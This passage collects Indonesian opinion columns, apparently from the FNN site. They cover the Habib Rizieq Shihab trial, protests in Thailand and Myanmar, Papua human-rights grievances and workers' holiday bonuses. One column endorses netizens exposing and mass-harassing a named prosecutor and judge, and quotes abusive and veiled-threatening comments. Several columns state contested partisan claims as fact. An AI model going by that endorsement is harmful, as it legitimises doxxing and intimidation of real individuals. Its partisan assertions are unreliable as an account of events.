meluas, maka hal yang mudah dalam pandangan publik menjadi sulit pada proses hukum. Kasus penyidik senior Komisi Pemberantasan Korupsi (KPK) Novel Baswedan yang melibatkan dua anggota polisi menjadi cermin dan pelajaran yang berharga. Hal ini sekaligus menjadi ujian bagi profesionalitas kepolisian dan keadilan Majelis Hakim di ruang Pengadilan. Peristiwa pembunuhan enam anggota laskar FPI terkait dengan "perburuan" Habib Rizieq Shihab (HRS). Sebagai pembunuhan politik, diduga proses hukum akan berjalan berbelit-belit sebagaimana rumit dan berbelitnya kasus-kasus politik lain. Meskipun demikian, kita yakin bahwa ada hakim yang punya hati nurani dan keadilan hakiki yang akan ditunjukkan oleh Ilahi Robbi. Ketika proses berjalan lambat dan miskin akan informasi, ketahuilah bahwa rakyat itu sebenarnya lebih cerdas dan berpengetahuan. Proses yang berjalan hanya tahapan pencocokan-pencocokan saja. Jika cocok, maka dinilai nurani kejujuran itu masih ada dan jika tidak, maka dipastikan akan ada hukuman berat yang menunggu di depan. Wallahu a'lam. Panulis adalah Pemerhati Politik dan Kebangsaan.

Unjuk Rasa Thailand Dan Myanmar

by M. Rizal Fadillah Bandung FNN - Setelah tiga bulan aksi unjuk rasa di Thailand berlangsung tanpa ada tanda-tanda mereda. Aspirasi yang dituntut adalah reformasi monarkhi dan desakan mundur Perdana Menteri Prayuth Chan-O-Cha. Meskipun korban berjatuhan dan banyak aktivis yang ditangkap, tetapi pengunjuk rasa tetap gigih memperjuangkan tuntutannya. Unjuk rasa dipicu oleh pembubaran terhadap partai oposisi Partai Maju Masa Depan Thailand. Sementara itu, demonstrasi besar-besaran terjadi juga di Myanmar. Rakyat pro demokrasi memprotes kudeta militer pimpinan Jenderal Min Aung Hlaing dan penahanan pemimpin demokrasi Myanmar Aung San Suu Kyi beserta petinggi pemerintahan lainnya. Partai Liga Nasional pimpinan Aung Suu Kyi baru saja memenangkan Pemilu bulan Februari lalu. Tercatat sudah 149 pengunjuk rasa tewas. Terdapat tiga catatan penting terkait dengan aksi unjuk rasa di Thailand dan Myanmar tersebut. Pertama, protes rakyat ditujukan kepada penguasa yang potensial berprilaku otoriter. Misalnya, di Thailand ditandai dengan sikap sewenang-wenang membubarkan partai oposisi. Monarkhi semakin tidak disukai, Prayuth Cha O Cha berlindung dan memperalat Raja. Sementara di Myanmar, dipastikan pemerintahan junta militer Aung Hlaing bertindak otoriter untuk mengamankan kudeta. Menghadapi pengunjuk rasa dengan tindakan yang represif. Kedua, kedaulatan rakyat sebagai substansi atau prinsip utama demokrasi yang terus menerus mengalami penggerusan, senantiasa menemukan momentum penggalangan dan perlawanan. Gerakan pro demokrasi selalu menarik dukungan dunia. Sikap otoritarian domestik akan goyah oleh kekuatan mondial yang pro demokrasi. Kejatuhan hanya masalah waktu saja. Ketiga, pengunjuk rasa di Bangkok maupun Yangoon dan kota lain tidak peduli dengan pandemi Covid 19, yang biasa dipakai penguasa untuk menghalangi kerumunan massa. Melawan kezaliman dan menegakkan keadilan menjadi prioritas dengan menembus risiko pandemi. Faktanya, ternyata kelompok aksi itu tidak terdengar menjadi klaster penyebaran Covid 19 juga. Apa yang dilakukan rakyat di Thailand dan Myanmar mengingatkan para penguasa oligarkhis dan otoriter dimanapun untuk menyadari bahwa rakyat tidak selamanya bisa diiming-imingi. Rakyat tidak mempan untuk ditakut-takuti. Rakyat tidak takut ditekan dengan alat kekuasaan apapun. Melawan kezaliman dan menegakkan keadilan dengan membangun keberanian untuk mengambil risiko. Penguasa otoriter yang sering memperalat pandemi Covid 19 untuk menipu atau menindas rakyat, akan mengalami serangan balik dari rakyatnya sendiri. Tidak peduli dengan pandemi, jika aksi turun ke jalan menjadi pilihan. Mungkin rakyat memahami bahwa ada saat virus Corona pun jengkel dengan perilaku para penguasa yang korup dan zalim itu. Lalu virus corona itupun sebagai makhluk Tuhan Yang Maha Esa akan ikut bersama-sama dengan rakyat berunjuk rasa menumbangkan kebodohan dan keangkuhan kekuasaan. Sehingga unjuk rasa di Thailand dan Myanmar memberi pelajaran. Meskipun lucunya, Kedutaan Besar Republik Indonesia (KBRI) kita di Yangon, ibu kota Myanmar turut didemo oleh para pengunjuk rasa. Rakyat Myanmar mendemo KBRI di Yangon gara-gara sikap Indonesia yang seolah-olah berpihak kepada kudeta militer pimpinan Jenderal Min Aung Hlaing. Pemerintah Pressiden Jokowi perlu belajar banyak dari kejadian Thailand dan Myanmar tersebut. Jika tidak berubah, sehingga masih tetap represip kepada para aktivis pro demokrasi, maka tunggu waktu yang tepat untuk berhadapan dengan kekuatan rakyat. Memborgol demokrasi dengan menahan dan mengadili aktivis Koalisi Aksi Menyelamatkan Indonesia (KAMI), membubarkan organisasi Hizbut Tahrir Indonesia (HTI) dan Pront Pembela Inslam (FPI), membunuh enam laskar, serta memaksakan dengan segala cara untuk membungkam dan menghukum HRS, merupakan wujud dari perilaku mepertontonkan "abuse of power" yang nyata kepada rakyat. Prilaku pemerintah yang “abuse of power” dinilai rakyat sangat menjengkelkan. Remember Thailand and Myanmar ! Penulis adalah Pemerhati Politik dan Kebangsaan.

Perlu Dialog Jakarta-Papua Seperti Tawaran Jokowi Untuk Myanmar

by Marthen Goo Jayapura FNN - “…Mengapakah engkau melihat selumbar di mata saudaramu, sedangkan balok di dalam matamu tidak engkau ketahui?...” jika merujuk pada kata-kata Yesus Kristus yang diyakini oleh umat Kristiani sebagai Tuhan, dan jika bisa direfleksikan kembali dengan pernyataan Kristus tersebut, barang kali ini yang dimaksudkan. Adakah praktek hal yang sama? Dimana masalah Papua di dalam negara sendiri diabaikan. Bahkan aspek kemanusiaan tidak diperhatikan, dan dilakukan pendekatan yang sama berulang-ulang. Sementara di Myanmar, aspek kemanusiaan dianggap jauh lebih prioritas dan penting. Aneh bin ajaib. Tentu sebagai manusia yang beradab, patut kita kutuk semua kejahatan dan kekerasan yang melukai, merendahkan dan menghancurkan martabat manusia dimana saja manusia berada. Bahkan semangat deklarasi universal hak asasi manusia di dunia adalah semangat yang mengedepankan kemanusiaan sebagai hak hidup yang wajib dihormati oleh siapapun. Deklarasi universal hak asasi manusia yang lahir pada 10 Desember 1948 adalah deklarasi yang menghormati hak asasi manusia di dunia tanpa perbedaan kelas, rumpun, ataupun agama. Dalam semangat itu kemudian di Indonesia, penghormatan kepada Hak Asasi Manusia (HAM) dirumuskan secara utuh dalam konstitusi negara secara tertulis. Bahkan dipertegas dengan ketat setelah dilakukan amandemen yang ke-4 UUD 1945. Setelah itu, dirumuskan juga dalam Undang-Undang baik Nomor 39 Tahun 1999 Tentang HAM dan Undang-Undang Nomor 26 Tahun 2000 Tentang Pengadilan HAM. Walau demikian, apakah kejahatan terhadap HAM di Papua berhenti? Tentu saja tidak. Masih tetap saja terus kejahatan kemanusiaan terhadap orang Papua. Bahkan kejahatan rasisme pun tetap dilakukan. Menurut Raga Kogoya, Tim Relawan Kemanusiaan Nduga,“…kalau kami bicara tentang Nduga, orang banyak yang meninggal, dan suku Nduga itu akan hilang akibat operasi militer. Anak-anak jadi korban tidak sekolah, ibu-ibu banyak meninggal saat melahirkan. Masyarakat 11 distrik sudah kosong. Terjadi pengungsian besar-besaran sampai ke Jayapura dan Wamena,Timika, Ilaga, ada juga yang sampai ke Asmat dan Merauke”. Masih kata Raga Kogoya,,, “semua itu akibat asap bom yang diturunkan. Banyak masyarakat Nduga yang meninggal. Banyak yang ditembak. Kami kemudian tidak mendata lagi karena kami diancam, terus kami dikejar. Pengungsi tidak bahwa KTP dan KK. Jadi saat mengungsi di Wamena kesulitan mendapatkan pelayanan kesehatan. Ada yang meninggal karena tidak mendapatkan pelayanan kesehatan”. “,,,kami membangun sekolah untuk pengungsi dalam pengunsian, tetapi kami ditekan. Kami beribadah juga. Mobil tentara masuk ke-arah tempat ibadah dan keliling. Anak-anak ditekan. Anak-anak kemudian terlantar sampai tidak sekolah sejak 2017 hingga sekarang, sudah 4 tahun lamanya”. Keterangan Raga Kogoya sebagai tim relawan memberikan gambaran tentang situasi Nduga saat ini. Sudah berjalan mencapai 4 tahun, dimana rakyat menjadi ancaman serius. Kasus yang sama juga sedang terjadi di Intan Jaya. Bahkan ada pengungsian juga di Timika. Negara yang mestinya hadir untuk melindungi dan menyelamatkan rakyat pengungsi. Sayangnya itu belum terlihat. Kenyataan yang berbeda dengan kasus Wamena, dimana ketika warga non-Papua hendak mengungsi, kekuatan negara langsung hadir dan memfasilitasi pengungsian. Bahkan untuk diberangkatkan keluar Papua pun difasilitasi negara. Perbedaan perlakuan yang dipertontonkan negara kepada publik. Tentu saja semangat kita adalah melawan kejahatan kemanusiaan dan praktek-praktek rasisme yang merendahkan martabat kamanusiaan. Agar kedamaian bisa terwujud diantara sesama manusia sebagai ciptaan Tuhan yang sama tanpa perbedaan dan tampa kelas. Semangatnya adalah sila Ketuhanan Yang Maha Esa dan Kemanusiaan Yang Adil dan Beradab. Semoga semangat itu bisa diwujudkan Presiden. Myanmar harus dibantu demi kemanusiaan, begitu juga dengan Papua. Presiden Dorong Dialog Myanmar Presiden menyampaikan keprihatinan kemanusiaan yang terjadi di Myanmar dengan berkata, “…atas nama pribadi dan seluruh rakyat Indonesia, saya menyampaikan dukacita dan simpati yang dalam kepada korban dan keluarga korban akibat penggunaan kekerasan di Myanmar”. Indonesia kata Presiden Jokowi, “mendesak agar penggunaan kekersan di Myanmar segera dihentikan. Sehingga tidak ada lagi korban berjatuhan. Keselamatan dan kesejahteraan rakyat harus menjadi prioritas utama. Indonesia juga mendesak agar dialog, agar rekonsiliasi segera dilakukan untuk memulihkan demokrasi, untuk memulihkan perdamaian dan untuk memulihkan stabilitas…” Atas pernyataan Presiden terhadap Myanmar tersebut, patut diberiapresiasi sebagai penghormatan kepada kamanusiaan sebagai cita-cita bangsa, dan tujuan nasional yakni “mewujudkan perdamaian dunia”. Bahkan sebagai perwujudan sila kedua walau lintas negara. Untuk Myanmar, Presiden tidak hanya menyampaikan keprihatin atas nama pribadi dan kepala negara. Presiden juga mendesak dilakukannya dialog dan rekonsiliasi sebagai jalan untuk mencapai solusi damai. Terus, bagimana dengan Papua Pak Presiden? Bukankah untuk hal yang sama, seharusnya sudah dilakukan terhadap Papua Pak Presiden? Jika ucapan dukacita bisa disampaikan kepada Myanmar, mestinya yang sama juga disampaikan kepada rakyat Papua yang selalu mendapat kekerasan berkali-kali sampai saat ini. Jika kekerasan di Myanmar dihentikan, mestinya kekerasan di Papua juga dihentikan, dengan melakukan pendekatan kemanusiaan. Hentikan pengiriman pasukan berlebihan ke Papua. Seharusnya diganti dengan pengiriman dokter dan tim medis, apalagi dalam situasi Covid. Perlu pengiriman guru untuk anak-anak yang dipengungsian. Kembali lagi soal dialog dan rekonsiliasi, bukankah bijaksana jika Papua sudah dilakukan dialog Jakarta-Papua untuk mewujudkan Papua tanah damai? Itu sebagai contoh pernyataan Presiden ke publik Indonesia dan dunia tersebut? Bagimana jika orang menyoroti pernyataan Presiden, bahwa Presiden Indonesia menunjukan prihatin kemanusiaan kepada Myanmar, tetapi di dalam negaranya sendiri, soal Papua bermasalah. Sejak Papua dimasukan ke Indonesia sampai saat ini terus terjadi kejahatan kemanusiaan. Negara terus melakukan pendekatan keamanan dengan berbagai operasi keamanan yang melahirkan pelanggaran HAM ? Semoga tulisan ini dibaca Pak Presiden. Jangan sampai tibah pada kesimpulan dalam bahasa pasaran yang selalu disampaikan anak milenial bahwa “Papua latihan lain, main lain”. Artinya, bicara lain, perbuatan lain. Pak Presiden jika merasa penting, lakukan dialog dan rekonsiliasi. Cobalah Pak Presiden lakukan terhadap Papua, agar pernyataan Presiden bisa dihargai. Perlu lakukan pendekatan di Papua untuk menyelesaikan masalah-masala di Papua secara menyeluruh. Hindari “latihan lain, main lain”. Komisi Tinggi HAM PBB ke Papua Mendengar pernyataan Presiden terhadap kasus Myanmar, tentu ada publik yang merasa bangga. Ada juga publik yang merasa heran, apalagi orang Papua, karena Presiden menunjukan kepedulian terhadap kemanusiaan rakyat Myanmar. Tetapi mengabaikan kemanusiaan rakyat Papua. Alm. Pastor Dr. Neles Tebai Pr. yang adalah koordinator Jaringan Damai Papua (JDP) pernah berjumpa Presiden dan menyampaikan konsep dialog Jakarta-Papua untuk mewujudkan Papua tanah damai Papua. Namun sampai saat ini, dialog Jakarta-Papua belum juga dilakukan. Dalam semangat menghormati hak asasi manusia, Komisi Tinggi HAM PBB hendak ke Papua. Namun sampai saat ini, mereka masih kesulitan untuk masuk ke Papua. Mestinya Presiden bisa menjamin kelancaran mereka mengunjungi Papua dan berjumpa dengan korban dan keluarga korban. Setidaknya pernyataan Presiden untuk Myanmar itu dibuktikan juga terhadap kehadiran Komisi Tinggi HAM PBB. Sekali lagi, ini dalam konteks kemanusiaan, karena itu juga yang disampaikan Presiden. Menurut Theo Esegem, Direktur Yayasan Keadilan dan Keutuhan Manusia Papua “…Saya harap bapak Presiden dan jajarannya coba buka diri dan ruang, agar dari Komisi Tinggi HAM di PBB dapat melakukan kunjungan ke Papua. Sehingga dapat membuktikan desakan 83 negara terkait isu pelanggaran HAM di Papua. Apa artinya kepala negara tidak mengijinkan Komisi Tinggi HAM PBB masuk ke Papua? Namun menunjukan sikap terkait konflik kekerasan di Nyianmar? …” Sebanyak 83 negara telah memberikan pandangan saat merespon kasus pelanggaran HAM di Papua. Negara-negara itu menyimpulkan masalah pelangaran HAM di Papua adalah masalah serius yang harus diselesaikan. Untuk itu mendesak Komisi tinggi Ham PBB untuk melakukan kunjungan ke Papua Barat. Terhadap hal ini, atas nama kemanusiaan, Presiden harus membuka akses, mempraktekan dialog dan rekonsiliasi tersebut untuk Papua. Kita harus sepakat bahwa cara-cara kekerasan hanya akan melahirkan kekerasan baru. Setiap kekerasan adalah kejahatan terhadap kemanusiaan yang harus dihapuskan. Cara menghapusnya adalah dengan memperbanyak dialog dan rekonsiliasi sebagai perwujudan pernghormatan terhadap kemanusiaan. Tentu yang namanya damai itu indah dan damai itu impian setiap insan manusia, apalagi rakyat. Atas dasar dan semangat penghormatan terhadap kemanusiaan sila kedua Pacasila itu, dan didorong oleh keinginan yang luhur untuk mewujudkan tujuan nasional, prinsip konstitusional dan kemanusiaan, Presiden Jokowi diharapkan untuk segera menggelar Dialog Jakarta-Papua. Presiden harus menunjuk Wakil Presiden sebagai penganggungjawab Politik, dan menunjuk Special Envoy untuk mempersiapkan dialog. Kecuali kalau mau berhenti pada “latihan lain, main lain”. Pak Presiden yang terhormat, mari selesaikan masalah Papua dengan cara yang bermartabat, terhormat dengan digelarnya Dialog Jakarta-Papua. Buktikan kalau bisa bicara untuk Myanmar, bisa juga dilakukan untuk Papua. Penulis adalah Aktivis Kemanusiaan Dari Papua.

Habib Rizieq Dihina di Pengadilan, Netizen Melawan di Dunia Maya

by Tjahja Gunawan Jakarta, FNN - Sidang kedua yang mengadili Imam Besar Habib Rizieq Shihab hari Jumat (19/3), berlangsung dengan brutal. Pada proses sidang tersebut, Habib Rizieq dipaksa bahkan sampai didorong agar mau mengikuti sidang secara online. "Saya dipaksa, didorong, dihinakan," kata Habib Rizieq dalam nada suara lantang dari Rutan Mabes Polri. Sidang tersebut dipimpin Ketua Majelis Hakim, M. Suparman Nyompa dengan anggota M. Djohan Arifin dan Agam Syarief Baharudin. Bukan hanya itu, pada sidang kedua itu, pengacara Habib Rizieq dilarang masuk ke Pengadilan Jakarta Timur. Sehingga praktis yang bersidang hanya majelis hakim, Jaksa Penuntut Umum namun mereka ingin memaksakan agar terdakwa bisa hadir secara online. Padahal sejak sidang pertama, Habib Rizieq dan para pengacaranya sudah menyatakan dengan tegas akan mengikuti dan mentaati persidangan di PN Jakarta Timur kalau dilakukan secara off line. Jika hakim dan jaksa bersikukuh untuk menjalankan sidang secara online, Habib Rizieq pun mempersilahkan. "Silahkan majelis hakim dan jaksa sidang sendiri dan memutuskan semaunya sendiri tanpa dihadiri saya dan pengacara," ungkap Habib Rizieq. Namun, pada sidang kedua justru ada pemaksaan terhadap terdakwa agar mau mengikuti sidang secara online. Praktek ketidakadilan dan kebrutalan telah dipertontonkan dengan kasat mata dalam persidangan tersebut. Siapapun manusia yang memiliki hati dan akal waras niscaya akan merasa prihatin dan gemas ketika menyaksikan persidangan yang penuh rekayasa itu. Oleh karena itu wajar kalau kemudian masyarakat di dunia maya (netizen) melampiaskan kekesalannya di media sosial. Tidak hanya itu, netizen mampu membongkar identitas pribadi Ketua Majelis Hakim Suparman Nyompa. Demikian juga Diah Yuliastuti SH, seorang jaksa yang kerap memotong pembicaraan Habib Rizieq dan majelis hakim dengan kalimat bernada provokasi, identitasnya berhasil diungkap netizen beberapa jam setelah usai persidangan hari Jumat lalu. Instagram Jaksa Penuntut Umum Diah Yuliastuti, diburu dan dibully netizen. Merasa tidak tahan dengan bullyian, akhirnya akun IG jaksa tersebut diubah menjadi private. Seorang netizen @ciotsidoker berkomentar di IG Diah Yuliastuti : "Halal banget sama ulama si mak...?? Emang emak ga ngerasa mendzolimi..??? Komentar netizen lainnya @noviadeniz: "Wahai netizen, mohon yg sopan komentar2nya. Aku capek nge-like-nya" @samsudinfahrezy berkomentar: "Semoga sadar dan tobat bu....inget Keluarga mu... jangan kasih uang haram...jangan kau sakiti ulama apalagi cucu nabi... cepat minta maaf sebelum telat. Ingat daging ulama beracun klo rumah tangga anda ingin selamat" Beberapa komentar netizen memang terkesan kasar namun aksi mereka di dunia maya tersebut sebagai balasan atas sikap Jaksa di persidangan yang terus menekan dan menghina Habib Rizieq. Dalam persidangan itu, Jaksa Diah Yuliastuti sempat melontarkan kalimat provokasi dalam percakapan dengan majelis Hakim. Di sidang itu Jaksa Penuntut Umum berkomentar: "Mohon izin, Majelis, kami rasa kita tidak perlu mendengarkan keterangan dari Terdakwa. Kami mohon untuk melanjutkan sidang yang terhormat ini, Majelis, tanpa mendengarkan omongan dari Terdakwa". Jadi, wajar kalau kemudian menyerbu IG jaksa Diah Yuliastuti. Setelah Gerakan Serbu IG, foto-foto jaksa Diah Yuliastuti yang terpampang di IG menyebar ke berbagai Grup WA. Tidak lama kemudian, IG jaksa ini dirubah ke private tetapi netizen lain sudah sempat screen shot akun IG jaksa Diah Yuliastuti termasuk komentar netizen yang unik dan menarik. Publik merasa kesal dengan jaksa ini karena selain sering memotong pembicaraan terdakwa, jaksa Diah ini sempat meminta hakim untuk menjerat Habib Rizieq dengan pasal 216 karena dinilai menghina jalannya persidangan. Namun, permintaan jaksa tersebut ditolak majelis hakim. Dalam persidangan tersebut, Habib Rizieq merasa hak asasinya sebagai terdakwa telah dirampas. Padahal, kehadiran terdakwa di ruang sidang dijamin UU yakni KUHAP Pasal 154, Pasal 152. Sementara sidang online hanya didasarkan pada peraturan Mahkamah Agung (Perma) No 4 Tàhun 2020 tentang administrasi dan persidangan perkara pidana di pengadilan secara elektronik. Di dalam Perma itu disebutkan alternatif proses persidangan pidana yakni secara online dan offline. "Jika majelis hakim ingin mengambil online, harus dengan persetujuan terdakwa. Nggak bisa mengambil sepihak. Kita kembali kepada KUHAP Pasal 154, Pasal 152, saya punya hak untuk hadir di dalam ruang sidang. Saya bukan nggak mau ikut sidang, saya siap," tegas Habib Rizieq. Jika membandingkan dengan persidangan kasus pidana lainnya, ada yang dilakukan secara offline. Misalnya, persidangan kasus red notice Djoko Tjandra dilakukan secara offline. Bahka pada sidang tersebut petinggi Polisi Irjen Napoleon Bonaparte divonis 4 tahun penjara karena terlibat dalam kasus tersebut. Sementara sidang pidana yang melibatkan Habib Rizieq dilakukan secara online dengan dalih khawatir adanya kerumunan dalam suasana pandemi Covid19. Padahal, sebenarnya posisi duduk majelis hakim, JPU, pengacara serta terdakwa kalau dihadirkan di ruang persidangan juga duduknya berjauhan. Sebenarnya jika Habib Rizieq dihadirkan dalam persidangan, majelis hakim maupun jaksa bisa lebih mudah menjalin komunikasi. Sebaliknya jika sidang dilakukan secara online, terkendala dengan jaringan komunikasi seperti pada sidang sebelumnya. Habib sudah menyatakan dirinya sangat menghormati hukum karena itu dia menyatakan siap datang ke pengadilan jika persidangan dilakukan secara offline sebagai bentuk ketaatan pada UU. Kita semua mengetahui bahwa pengadilan adalah jalan terakhir untuk mencari keadilan. Namun, kalau UU yang memberikan hak kepada terdakwa dilanggar seperti pada kasus peradilan Habib Rizieq ini, bagaimana seorang terdakwa bisa mendapatkan keadilan. Oleh karena itu Habib Rizieq tidak peduli dengan dakwaan yang telah dibacakan Jaksa Penuntut Umum. Meski Habib Rizieq menghormati putusan Majelis Hakim tetapi dia menyatakan keberatan jika sidang dilakukan secara online. "Sekali lagi, saya sampaikan dengan berat hati, saya tidak ridho untuk sidang secara online. Dan kalau dipaksakan, saya mohon izin saya akan walk out, saya akan keluar dari ruang sidang ini. Kalau Majelis Hakim dan para jaksa ingin melanjutkan sidang, saya ridho. Anda semua melakukan sidang tanpa kehadiran saya dan tanpa kehadiran pengacara, saya siap tunggu di dalam sel berapa vonis yang akan dikemukakan. Saya ridho, saya tidak mau berdebat lagi, saya tidak mau menghina pengadilan ini, Majelis Hakim yang terhormat. Saya minta izin, saya ingin meninggalkan ruang ini supaya tidak ribut terus, ini samping kiri-kanan saya ada polisi dan Brimob," ungkap Habib Rizieq mengakhiri perdebatan dengan majelis hakim. *** Penulis adalah Wartawan Senior FNN.co.id

Buruh Menunggu Keberpihakan Pemerintah

BULAN Ramadhan segera tiba. Berbagai persoalan ekonomi, semakin dirasakan rakyat, terutama buruh. Tidak ada yang salah dengan datangnya bulan suci bagi umat Islam itu. Bagi kaum muslimin, bulan penuh keberkahan itu disambut dengan gegap gempita, dengan meningkatkan amal-ibadah kepada Sang Pencipta. Seperti biasa, bulan Ramadhan juga merupakan bulan penuh keberkahan bagi buruh. Sebab, di bulan ini, mereka akan menerima Tunjangan Hari Raya (THR) dari masing-masing perusahaan mereka bekerja. Berdasarkan peraturan pemerintah, THR minimal dibayar dua pekan sebelum Hari Raya Idul Fitri. Besaran THR pun biasanya satu bulan gaji, tergantung kemampuan pengusaha dan lamanya buruh bekerja. Menjelang Ramadhan tahun 2021 ini, masalah THR sudah mulai diotak-atik. Buruh mengancam akan melakukan demo jika pengusaha tidak membayar THR tepat waktu dan nilainya tidak sesuai harapan mereka. Pengusaha pun sudah siap ancang-ancang menghadapi ancaman buruh itu. Para pengusaha berharap tidak ada demo karena akan merugikan semua pihak. Pengusaha akan membayar THR sesuai dengan kemampuan mereka pada saat kegiatan bisnis masih lesu di tengah pandemi Corona Virus Disease 2019 (Covid-19) yang belum bisa diprediksi kapan berakhir. Hingga kini pemerintah masih menggodok aturan tentang THR tahun 2021. Berbagai masukan, baik dari pekerja maupun pengusaha sangat diharapkan pemerintah Seban, persoalan THR itu sudah berbeda dengan aturan tahun lalu. Sebab, pemerintah sudah mengatakan terjadinya geliat ekonomi awal tahun ini dibandingkan awal tahun lalu. Artinya, ada sebagian pengusaha yang sudah mulai kembali meraup untung. Sekretaris Jenderal Kementerian Ketenagakerjaan (Kemenaker), Anwar Sanusi mengatakan pemerintah sedang mempertimbangkan pilihan seperti apa yang tepat untuk pembayaran THR 2021. Yang jelas, pemberi kerja harus menunaikan kewajiban itu. Sebagaimana dikutip dari Detikcom, Sabtu (20/3/2021, Anwar menyebutkan, pihaknya masih menggodok opsi yang paling bagus terkait dengan THR. Pada prinsipnya THR adalah hak pekerja atau buruh yang harus ditunaikan pengusaha. Aturan apa pun akan yang keluar tentang pembayaran THR 2021, pasti telah melalui pertimbangan yang masukannya diperoleh dari Dewan Pengupahan Nasional (Depenas) dan forum Tripartit atau penyelesaian perselisihan hubungan industrial melalui pihak ketiga. Aturan mengenai THR 2021 diharapkan keluar pada awal puasa yang akan mulai pertengahan April. Dengan demikian, pengusaha memiliki waktu untuk mempersiapkan kewajibannya membayar THR itu. Pemerintah diharapkan lebih adil dalam keputusannya. Adil dalam arti lebih membela kepentingan buruh. Sebab, selama ini ada kecenderungan pemerintah lebih membela kepentinhan pengusaha dalam menetapkan keputusannya, baik dalam hal THR maupun hak-hak buruh lainnya, terutama jika terjadi PHK (pemutusan hubungan kerja). Hak-hak buruh semakin tertekan, terutama setelah berlakunya Undang-Undang Tjipta Kerja. Apalagi UU tersebut berlaku hampir bersamaan dengan Covid-19. Buruh menunggu keberpihakan dari pemerintah. **

Diskriminasi Hukum Nyata di Peradilan HRS

by Tamsil Linrung Jakarta FNN - Hukum itu tak bernyawa. Hanya berisi teks tertulis yang kita sepakati menjadi rambu-rambu kehidupan sebagai warga negara. Di tangan manusialah, hukum itu menjadi hidup. Lembaga yudikatif diharapkan konsisten menjamin implementasi hukum yang berkeadilan bagi seluruh rakyat. Manusia tidak ditakdirkan menjadi makhluk ajeg seperti iblis atau malaikat. Manusia punya kehendak bebas, bisa memilih bersifat iblis atau malaikat. Terkadang, sifat iblis manusia malah dikemas seolah kebajikan malaikat. Wajah hukum kita ikut diwarnai oleh jiwa penegak hukum dengan kehendak bebas itu. Kita berharap lembaga peradilan dapat konsisten menegakkan hukum yang berkeadilan. Namun, faktanya sejumlah kasus hukum tak sedikit terasa memunggungi keadilan. Terhadap persidangan kasus Habib Rizieq Sihab (HRS), muncul fenomena serupa. Aparat berwenang terlihat begitu sinis memandang hak-hak hukum HRS. Itu terlihat di sepanjang perjalanan kasus mantan Imam Besar Front Pembela Islam (FPI) ini, sejak penetapan sebagai tersangka, penahanan, hingga saat persidangan yang heboh sepekan belakangan. Untuk menetapkan sidang berjalan online atau offline saja, debat panjang harus terjadi. Padahal, memilih salah satu pilihan ini seharusnya mudah dan tak perlu menguras begitu banyak waktu dan energi. Majelis hakim menetapkan sidang HRS dilaksanakan online, sedangkan HRS menginginkan hadir di ruang sidang. HRS mengaku bukan bermaksud melawan hukum. HRS hanya memperjuangkan hak hukumnya saja, sebagaimana dijamin Undang-Undang (UU) untuk hadir di ruang sidang. Adapun Majelis Hakim berpijak pada peraturan Mahkamah Agung (Perma) Nomor 4 Tahun 2020 yang mengatur sidang online dalam masa pandemi covid-19. Masalahnya, keputusan Majelis Hakim melaksanakan sidang online ternyata "tidak online-online amat". Buktinya, Majelis Hakim lengkap berada di ruang sidang, begitu pula dengan para jaksa, para pengacara, juga pengunjung sidang. Yang online hanya HRS, seolah sengaja dipisahkan. Padahal, seorang terdakwa tentu sangat berkepentingan hadir di ruang sidang agar bisa membela dirinya secara maksimal. Baik itu ketika menjawab tuduhan jaksa, menjawab pertanyaan majelis, juga berkonsultasi langsung dengan pengacara yang mendampinginya di ruang sidang, dan seterusnya. Menurut MA, sepanjang 2020 sudah digelar 115.455 sidang online karena adanya Perma No. 4/2020. Meski begitu, kewenangan pelaksanaan sidang online dan offline agaknya dikembalikan kepada keputusan Majelis Hakim. Pasalnya, dalam beberapa kasus yang melibatkan nama-nama besar, kita melihat kehadiran terdakwa di ruang sidang di tengah pandemic Covid-19 pasca terbitnya Perma itu. Sebut saja persidangan kasus suap Irjen Napoleon Bonaparte. Yang relatif punya kemiripan dengan pelaksanaan sidang HRS adalah sidang kasus IDI Kacung WHO dengan terdakwa I Gede Aryastina alias Jerinx. Seperti HRS, Jerinx juga walkout dari ruang sidang. Sementara itu, massa pendukung Jerinx berdemo di depan Pengadilan Negeri Bali. Setelah beberapa kali sidang online, akhirnya sidang offline terdakwa Jerinx diadakan pada 13 Oktober 2020. Laman radarbali.id lalu memuat berita dengan judul "(Akhirnya) Pendemo Menang, Hakim Putuskan Sidang JRX Digelar Offline". Perma No.4/2020 sendiri ditandatangani Ketua MA Muhammad Syarifuddin pada 25 September 2020 dan diundangkan pada 29 September 2020. Seperti Jerinx, HRS juga walkout dalam sidang. Juga masih seperti Jerinx, pengacara HRS juga telah memohonkan sidang dilakukan secara tatap muka. Bukannya dapat dispensasi sebanding, yang ada malah ancaman tambahan kasus. Walkout yang dilakukan HRS berbuah ancaman lain. Jaksa menuding HRS telah menghina dan melakukan kegaduhan di dalam persidangan dan meminta hakim menjerat Rizieq melanggar Pasal 216 KUHP. Mungkin saja niat Majelis Hakim menjauhkan HRS dari ruang sidang karena menghindari kerumunan massa pendukung. Namun, kekhawatiran ini hanya soal teknis yang mudah saja dikoordinasikan. Pertama, HRS telah menyatakan siap meminta pendukungnya agar tidak perlu mendatangi PN bila diizinkan ikut dalam ruang sidang. Kedua, mencegah kerumunan adalah tugas aparat keamanan. Majelis Hakim tentu dimungkinkan meminta dukungan Polri, kalau perlu berikut bantuan personel TNI. Sinisme lembaga peradilan terhadap hak-hak hukum HRS semakin terasa ketika pengacara HRS bahkan sempat mendapat kesulitan memasuki ruang sidang. Dengan surat kuasa di tangan, seharusnya tidak menemui kendala memasuki ruang sidang. Toh para pengacar itu telah mengikuti sidang sebelumnya. Meski lembaga yudikatif terlihat menyudutkan posisi hukum HRS, namun para penghuni lembaga eksekutif dan legislatif hening komentar. Trias politika ini mungkin sepaham, perlakuan itu adalah sesuatu yang "pas" untuk HRS. Tidak satu pun dari pihak eksekutif yang membela hak-hak hukum HRS. Menteri Pertahanan Prabowo Subianto yang tadinya dinilai punya kedekatan dengan HRS, membeku dalam diamnya. Padahal, saking dekatnya, Prabowo pernah berjanji hendak menjemput langsung HRS dan memulangkannya ke Tanah Air dengan jet pribadi. Luar biasa janji itu. Sementara itu, respon dari lembaga legislatif hanya dibunyikan satu dua orang. Sebagai oposisi, sejumlah kader Partai Demokrat dan Partai Keadilan Sejahtera telah memberi pernyataan membela dengan porsi yang semestinya. Dari partai pendukung pemerintah, yang terlihat gregetnya adalah Wakil Ketua Umum Partai Gerindra Fadly Zon. Fadly bahkan menjaminkan dirinya demi pembebasan HRS. Kita bersuara bukan semata tentang HRS. Ini tentang perlakuan lembaga peradilan terhadap seorang warga negara yang kebetulan bernama Habib Rizieq Shihab. Yang menjadi fokus kita adalah proses pemenuhan hak-hak hukumnya. Seorang warga negara dengan warga negara 